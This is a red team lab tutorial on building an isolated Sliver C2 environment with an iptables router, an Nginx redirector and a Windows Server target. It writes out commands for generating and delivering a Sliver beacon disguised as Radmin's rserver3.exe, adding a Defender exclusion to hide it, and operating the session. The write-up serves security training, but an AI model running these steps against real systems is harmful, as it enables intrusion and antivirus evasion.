JF / 2026
Available

Building a C2 Lab — Sliver, Nginx Redirector and Network Segmentation

A self-contained red team lab built on VMware Workstation: three isolated networks, a dedicated router VM running iptables, an Nginx TLS-passthrough redirector, a Sliver C2 server, and a Windows Server target. Includes beacon generation, delivery, execution, and a realistic Windows Defender exclusion scenario.

Watch video ↗

Lab type: Self-hosted Red Team simulation Infrastructure: 5 VMs · 3 isolated networks · 1 dedicated router Hypervisor: VMware Workstation (host-only networks) Purpose: Understand the full C2 flow without depending on external services


Overview

This lab simulates the infrastructure a real red team uses to command and control an implant inside a target network. It is built entirely on VMware Workstation, isolated from the internet, and designed around one principle: the attacker never speaks to the target directly.

The architecture separates three functional networks:

A dedicated Ubuntu Server VM acts as the router between all three, with iptables enforcing a strict allow-list of flows. Only three connections are permitted end-to-end. Everything else is dropped.

The result is a lab where the beacon egress path, the operator ingress path, and the target isolation are all explicit and controllable — the same properties a real engagement has, minus the unpredictability of a production environment.


Lab architecture

Network topology

Diagrama de las tres redes aisladas con la VM router en el centro

Three host-only networks (vmnet10, vmnet30, vmnet40), each with its own subnet:

NetworkSubnetPurpose
Red 1010.10.0.0/24Attacker (Kali)
Red 3030.30.0.0/24C2 infrastructure (Nginx + Sliver)
Red 4040.40.0.0/24Target (Windows Server 2022)

The router VM has three network interfaces — one per network — and is the only machine that knows how to reach all three. It does not have a default gateway or NAT: its sole job is to forward packets between its own interfaces under explicit rules.

VM resources

Recursos asignados a cada VM en VMware Workstation

VMvCPURAMRole
Kali48 GBOperator + tooling
Router11 GBRouting + iptables
Nginx11 GBTLS passthrough redirector
Sliver22 GBC2 server
Target24 GBWindows Server 2022

Total: ~22 GB RAM / 32 GB available, 9 vCPU / 16 available. The host keeps enough headroom to stay responsive while all five VMs run simultaneously.

Kali carries the heaviest allocation because it runs the operator console, browsers, and the tooling used during the engagement. The router and Nginx run with minimal resources because their workloads are single-purpose.


Network segmentation

All routing and filtering logic lives in the router VM. The other four VMs only need a static IP and a default gateway pointing to the router of their network. No iptables rules are applied outside the router.

Router interfaces

InterfaceNetworkIP
ens33vmnet1010.10.0.1/24
ens37vmnet3030.30.0.1/24
ens38vmnet4040.40.0.1/24

Configured via netplan:

network:
  version: 2
  renderer: networkd
  ethernets:
    ens33:
      addresses: [10.10.0.1/24]
    ens37:
      addresses: [30.30.0.1/24]
    ens38:
      addresses: [40.40.0.1/24]

IP forwarding

Required for the router to forward packets between interfaces:

sudo sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf

Firewall rules

The default policy for the FORWARD chain is DROP. Only explicitly allowed flows pass:

sudo iptables -P FORWARD DROP
sudo iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT

# Operator → C2 (management channel)
sudo iptables -A FORWARD -s 10.10.0.5 -d 30.30.0.3 -p tcp --dport 31337 -j ACCEPT

# Target → Nginx (beaconing)
sudo iptables -A FORWARD -s 40.40.0.2 -d 30.30.0.2 -p tcp --dport 443 -j ACCEPT

# Nginx → Sliver (internal redirector flow)
sudo iptables -A FORWARD -s 30.30.0.2 -d 30.30.0.3 -p tcp --dport 443 -j ACCEPT

# Explicit blocks (target and operator never talk directly)
sudo iptables -A FORWARD -s 40.40.0.2 -d 10.10.0.5 -j DROP
sudo iptables -A FORWARD -s 10.10.0.5 -d 40.40.0.2 -j DROP

Persisted across reboots with iptables-persistent:

sudo apt install -y iptables-persistent
sudo netfilter-persistent save

The three permitted flows

FromToPortPurpose
10.10.0.530.30.0.331337Operator ↔ C2 (mTLS)
40.40.0.230.30.0.2443Target beacon → Nginx
30.30.0.230.30.0.3443Nginx → Sliver

Nothing else is allowed. The target cannot reach the operator. The operator cannot reach the target. This mirrors a real engagement where the only way in is through the beacon, and the only way to control it is through the C2.

Routes on the other VMs

Each VM needs a route to the networks it has to reach beyond its own /24. The default gateway alone is not enough in a host-only setup without NAT, because there is no upstream.

Kali (via nmcli):

sudo nmcli connection modify lab-red10 +ipv4.routes "30.30.0.0/24 10.10.0.1"
sudo nmcli connection modify lab-red10 +ipv4.routes "40.40.0.0/24 10.10.0.1"

Nginx (netplan route to reach Red 40):

routes:
  - to: 40.40.0.0/24
    via: 30.30.0.1

Without this specific route, Nginx receives the target’s SYN on port 443 but does not know how to route the SYN-ACK back. The TLS handshake never completes, and the beacon fails silently with timeouts.

Sliver (nmcli route to reach Red 10):

sudo nmcli connection modify lab-red30 +ipv4.routes "10.10.0.0/24 30.30.0.1"

Without this route, Kali’s connection to 31337 reaches Sliver, but Sliver cannot send the SYN-ACK back. The operator console hangs on connect.


The redirector

The Nginx VM sits between the target and the C2. Its only job is to forward bytes.

Why a redirector

In a real engagement, the C2 server is never exposed directly to the target. It sits behind one or more redirectors that forward traffic and hide the origin. The target only ever sees the redirector’s IP.

Nginx in stream mode performs TCP passthrough: it does not terminate TLS, does not inspect the payload, and does not hold the certificate. It receives bytes on 443 and forwards them verbatim to Sliver’s 443. This means:

Configuration

/etc/nginx/nginx.conf, outside the http block:

stream {
    include /etc/nginx/stream.d/*.conf;
}

/etc/nginx/stream.d/c2.conf:

server {
    listen 443;
    proxy_pass 30.30.0.3:443;
    proxy_timeout 10m;
    proxy_connect_timeout 5s;
}

The proxy_timeout 10m accommodates long-lived beacon sessions. The proxy_connect_timeout 5s fails fast if Sliver is down, so the redirector does not hold half-open connections.

Verify:

sudo nginx -t
sudo systemctl restart nginx
sudo ss -tlnp | grep :443

Expected output: Nginx listening on 0.0.0.0:443.


The C2 server

Sliver runs on Ubuntu Server in Red 30. Two listeners are active simultaneously:

PortPurpose
443HTTPS beaconing (from the redirector)
31337Operator management (mTLS, from Kali)

Start the server:

sudo /root/sliver-server

Inside the Sliver console:

[server] sliver > https --lhost 0.0.0.0 --lport 443 --domain c2.lab.local
[server] sliver > multiplayer
[server] sliver > jobs

The jobs output should show both listeners:

 ID   Name    Protocol   Port   Domains
==== ======= ========== ====== ==============
 1    https   tcp        443    c2.lab.local
 2    multi   tcp        31337

Operator profile

An operator profile is generated for Kali with mTLS credentials scoped to the operator identity:

[server] sliver > new-operator --name kali --lhost 30.30.0.3 --lport 31337 --save /tmp/kali.cfg --permissions all

The resulting /tmp/kali.cfg contains:

This file is transferred to Kali manually (the two networks are isolated except for the 31337 flow, which is only for operator traffic, not for file transfer). The simplest approach is to cat the file and paste it into /tmp/kali.cfg on Kali.

Import on Kali:

sliver-client import /tmp/kali.cfg
sliver-client

Verify the connection:

[*] Loaded 1 connection profiles
[*] Testing connection to 30.30.0.3:31337
[*] Connection successful
[server] sliver >

At this point, the operator console is running on Kali, talking to Sliver over 31337, and no other path exists between the two networks.


The beacon

Generation

From the Sliver console (either on Kali or the server):

[server] sliver > generate beacon \
    --http https://c2.lab.local \
    --os windows \
    --arch amd64 \
    --format exe \
    --name rserver3.exe \
    --seconds 30 \
    --jitter 10 \
    --save /home/kali/sliver/client/beacon.exe

Each flag has a purpose:

FlagWhy
--http https://c2.lab.localThe beacon contacts the redirector, not the C2 directly
--seconds 30 --jitter 10Beacons every 30s ± 10s of randomness, so the pattern is not trivially fingerprintable
--os windows --arch amd64 --format exeNative Windows executable
--name rserver3.exeThe filename the beacon will adopt on disk

Sliver does not apply obfuscation by default. Two flags exist for that but are not enabled in this baseline:

Both are useful against static analysis, and both can be layered on without changing the rest of the flow.


Beacon delivery

The target cannot receive inbound connections from Kali. That is the entire point of the segmentation. So the beacon has to reach the target through a path that already exists, or through a temporary rule that is removed once delivery is done.

The chosen method uses the router as a staging point. The router is the only machine that can talk to both the operator network and the target network — but the target can only reach the router’s address in Red 40 (40.40.0.1), and only on explicitly permitted ports.

Step 1 — Move the beacon to the router

On the router, listen on port 4444 and write the incoming stream to a file:

nc -lvnp 4444 > /tmp/beacon.exe

On Kali, in another terminal, send the beacon to the router:

nc 10.10.0.1 4444 < /home/kali/sliver/client/beacon.exe

Wait for the transfer to complete, then Ctrl+C on the router side. Verify the file size matches:

ls -la /tmp/beacon.exe

Step 2 — Serve the beacon over HTTP

From the router, start a simple HTTP server in /tmp:

cd /tmp
python3 -m http.server 80

This serves on 40.40.0.1:80, which is reachable from the target because it is inside the target’s own subnet. No firewall rule is required for this — the router and the target are on the same /24.

Step 3 — Download on the target

On the Windows Server, download the beacon into its final location:

Invoke-WebRequest -Uri http://40.40.0.1/beacon.exe -OutFile "C:\Program Files\Radmin Server 3\rserver3.exe"

Verify:

Get-Item "C:\Program Files\Radmin Server 3\rserver3.exe"

The file size must match the original. If it does not, the transfer was truncated and the beacon will not execute.

Step 4 — Point the target at the redirector

The beacon’s configuration references c2.lab.local. The target needs to resolve that name to the redirector’s IP, not to anything else:

Add-Content -Path C:\Windows\System32\drivers\etc\hosts -Value "30.30.0.2 c2.lab.local"

Verify with type C:\Windows\System32\drivers\etc\hosts. The line 30.30.0.2 c2.lab.local must be present.


Defense evasion

The Windows Server runs Defender, and any unsigned binary executing from C:\Users\ or C:\Temp\ triggers a detection almost immediately. A real attacker works around this by placing the payload in a location that the environment has already excluded from scanning.

The scenario: many legitimate remote administration tools document exclusions in their installation guides. An attacker can mimic this pattern by creating a folder that matches a known product and adding it to Defender’s exclusion list. The exclusion is the same mechanism that legitimate tools require.

Creating the exclusion:

New-Item -ItemType Directory -Path "C:\Program Files\Radmin Server 3" -Force

Add-MpPreference -ExclusionPath "C:\Program Files\Radmin Server 3"

Verify the exclusion is registered:

Get-MpPreference | Select-Object -ExpandProperty ExclusionPath

The path C:\Program Files\Radmin Server 3 should appear in the list.

Why Radmin specifically:

Radmin is a legitimate remote administration tool. Its default installation path is C:\Program Files\Radmin Server 3, and its primary binary is rserver3.exe. Any administrator who has Radmin deployed has already excluded that folder from antivirus scanning — because otherwise Radmin would not function. The attacker inherits that operational reality.

Equivalent alternatives that produce the same effect:

SoftwareSuggested pathBinary
Veeam AgentC:\Program Files\Veeam\Endpoint BackupVeeam.EndPoint.Manager.exe
Acronis Cyber ProtectC:\Program Files\AcronisAcronis.CyberProtect.exe
CommvaultC:\Program Files\Commvault\ContentStorecvd.exe

All three are enterprise products whose documentation explicitly recommends antivirus exclusions for performance and reliability reasons. All three are credible, real-world patterns.


Execution and session

Triggering the beacon

On the target, start the binary:

Start-Process "C:\Program Files\Radmin Server 3\rserver3.exe"

There is no visible output. The beacon runs in the background, sleeps for its configured interval, and contacts c2.lab.local:443 on the first callback.

Detecting the session

On the operator console (Kali), wait 30–60 seconds and check for sessions:

[server] sliver > sessions

The session appears with the beacon’s configured name:

ID         Name          Transport   Remote Address   Hostname
====       ====          =========   ==============   ========
abc123     rserver3.exe  http(s)     40.40.0.2:xxxx   WIN-XXXX

Interaction

Once the session is up, the usual Sliver workflow applies:

[server] sliver > use abc123
[server] sliver (WIN-XXXX) > whoami
[server] sliver (WIN-XXXX) > pwd
[server] sliver (WIN-XXXX) > ps

Because the beacon interval is 30 seconds, each command’s output appears only on the next callback. For interactive work, switch to interactive mode:

[server] sliver > interactive

Interactive mode keeps a persistent connection open rather than polling, at the cost of being noisier on the wire.

Verifying the flow

The beacon egress path can be confirmed with a packet capture on the redirector:

sudo tcpdump -i ens33 -n port 443

Expected: TCP connections from 40.40.0.2 arriving periodically on port 443. If they are not arriving, one of three things is wrong — the beacon is not running, the target cannot resolve c2.lab.local, or the firewall is blocking the flow.


Lab walkthrough video

The full walkthrough — from the router configuration to the live session — is available as a video. It covers the same material as this article, with the addition of live troubleshooting at each step.

Watch the full walkthrough on YouTube ↗


Takeaways

Segmentation is not decoration. The lab forces the beacon to go out and the operator to come in through specific paths. Every packet that moves between networks is a deliberate decision, and every decision is documented in the iptables rules. That is what makes the flow legible.

The redirector isolates the C2. Nginx terminating nothing means the C2’s certificate is never exposed to the target. If the redirector is burned, the C2 stays up and a new redirector replaces it. The beacon’s config does not have to change.

Route specificity is not optional. Both Nginx and Sliver fail silently if the return route to the other network is missing. The connection is accepted locally but the SYN-ACK never gets back. The symptom looks like a firewall block, but the fix is a route.

Defender exclusions are an attack surface. Every enterprise tool that recommends an antivirus exclusion is also recommending a folder an attacker can use. The pattern works because it is legitimate — the same mechanism that protects Veeam or Radmin protects the beacon sitting in the same path.

Beacon cadence is a tradeoff. A 30-second interval with 10 seconds of jitter is long enough to be quiet on the wire and short enough to feel responsive during a demo. For real engagements, the interval scales with the environment: quieter networks get longer cadences, critical operations get shorter ones.

This lab is the baseline. From here, the same infrastructure supports process injection, SOCKS5 pivoting into the target’s own network, execute-assembly for in-memory .NET, and BOFs loaded from the Armory. The C2 does not change. Only the operations do.

← Back